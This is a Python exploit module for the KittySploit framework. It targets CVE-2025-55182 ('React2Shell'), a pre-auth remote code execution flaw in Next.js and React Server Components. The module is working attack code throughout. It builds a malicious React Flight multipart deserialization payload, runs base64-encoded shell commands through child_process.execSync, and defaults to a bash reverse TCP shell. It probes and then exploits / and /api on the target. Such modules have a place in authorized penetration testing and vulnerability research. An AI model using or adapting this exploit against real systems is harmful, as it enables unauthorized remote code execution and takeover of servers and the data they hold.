React2Shell RCE (CVE-2025-55182)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""React2Shell pre-auth RCE (CVE-2025-55182) on Next.js / React Server Components."""

import base64
import json
import shlex

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.nextjs_probe import ensure_nextjs_target


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'React2Shell RCE (CVE-2025-55182)',
        'description': (
            'Exploits CVE-2025-55182 (React2Shell) via React Flight multipart '
            'deserialization. Targets Next.js App Router and React Server '
            'Components endpoints using the _prefix / _formData gadget chain.'
        ),
        'author': ['lachlan2k', 'KittySploit Team'],
        'cve': ['CVE-2025-55182'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2025-55182',
            'https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc',
        ],
        'tags': ['react', 'nextjs', 'rsc', 'react2shell', 'rce', 'unauth', 'kev', 'cve-2025-55182'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {'tech_hints_any': ['nextjs', 'react']},
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'react flight'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/react2shell_cve_2025_55182_detect'],
            },
        },
    }

    action_path = OptString('', 'Next.js server action path (empty = /)', required=False)
    command = OptString('', 'Command to run instead of the selected payload', required=False)
    shell = OptChoice('unix', 'Target shell wrapper', False, choices=['unix', 'windows'], advanced=True)

    def _flight_body(self, js_prefix: str) -> tuple[bytes, dict]:
        payload = {
            '0': '$1',
            '1': {
                'status': 'resolved_model',
                'reason': 0,
                '_response': '$4',
                'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
                'then': '$2:then',
            },
            '2': '$@3',
            '3': [],
            '4': {
                '_prefix': js_prefix,
                '_formData': {'get': '$3:constructor:constructor'},
                '_chunks': '$2:_response:_chunks',
            },
        }
        boundary = f'----KittyReact2Shell{self.random_text(12)}'
        parts = []
        for key, val in payload.items():
            parts.append(
                f'--{boundary}\r\n'
                f'Content-Disposition: form-data; name="{key}"\r\n\r\n'
                f'{json.dumps(val)}\r\n'
            )
        parts.append(f'--{boundary}--\r\n')
        headers = {
            'Content-Type': f'multipart/form-data; boundary={boundary}',
            'next-action': 'x',
            'Accept': 'text/x-component',
        }
        return ''.join(parts).encode('utf-8'), headers

    def _target_paths(self):
        custom = str(self.action_path or '').strip()
        if custom:
            return [custom if custom.startswith('/') else f'/{custom}']
        return ['/', '/api']

    def _build_js_exec(self, cmd: str) -> str:
        b64 = base64.b64encode(cmd.encode()).decode()
        wrapper = str(self.shell or 'unix').strip().lower()
        if wrapper == 'windows':
            inner = (
                f'process.mainModule.require("child_process").'
                f'execSync(Buffer.from("{b64}","base64").toString())'
            )
        else:
            inner = (
                f'process.mainModule.require("child_process").'
                f'execSync(Buffer.from("{b64}","base64").toString())'
            )
        return f'{inner}//'

    def check(self):
        if not ensure_nextjs_target(self):
            return {'vulnerable': False, 'reason': 'Target does not look like Next.js/React RSC', 'confidence': 'low'}
        js_prefix = 'process.mainModule.require("child_process").execSync("echo kitty-r2s-check")//'
        body, headers = self._flight_body(js_prefix)
        for path in self._target_paths():
            r = self.http_request(method='POST', path=path, headers=headers, data=body, allow_redirects=False)
            if r and r.status_code in (200, 500):
                text = r.text or ''
                if 'kitty-r2s-check' in text:
                    return {'vulnerable': True, 'reason': 'React2Shell probe command reflected', 'confidence': 'high'}
                if any(t in text.lower() for t in ('flight', 'chunk', 'react-server', 'rsc')):
                    return {'vulnerable': True, 'reason': 'React Flight endpoint accepts deserialization payload', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'React2Shell probe did not succeed', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2025-55182 — React2Shell RCE')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        print_success(chk.get('reason', 'Target appears vulnerable'))
        js_prefix = self._build_js_exec(cmd)
        body, headers = self._flight_body(js_prefix)
        for path in self._target_paths():
            print_status(f'Sending exploit to {path}...')
            self.http_request(method='POST', path=path, headers=headers, data=body, allow_redirects=False)
        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True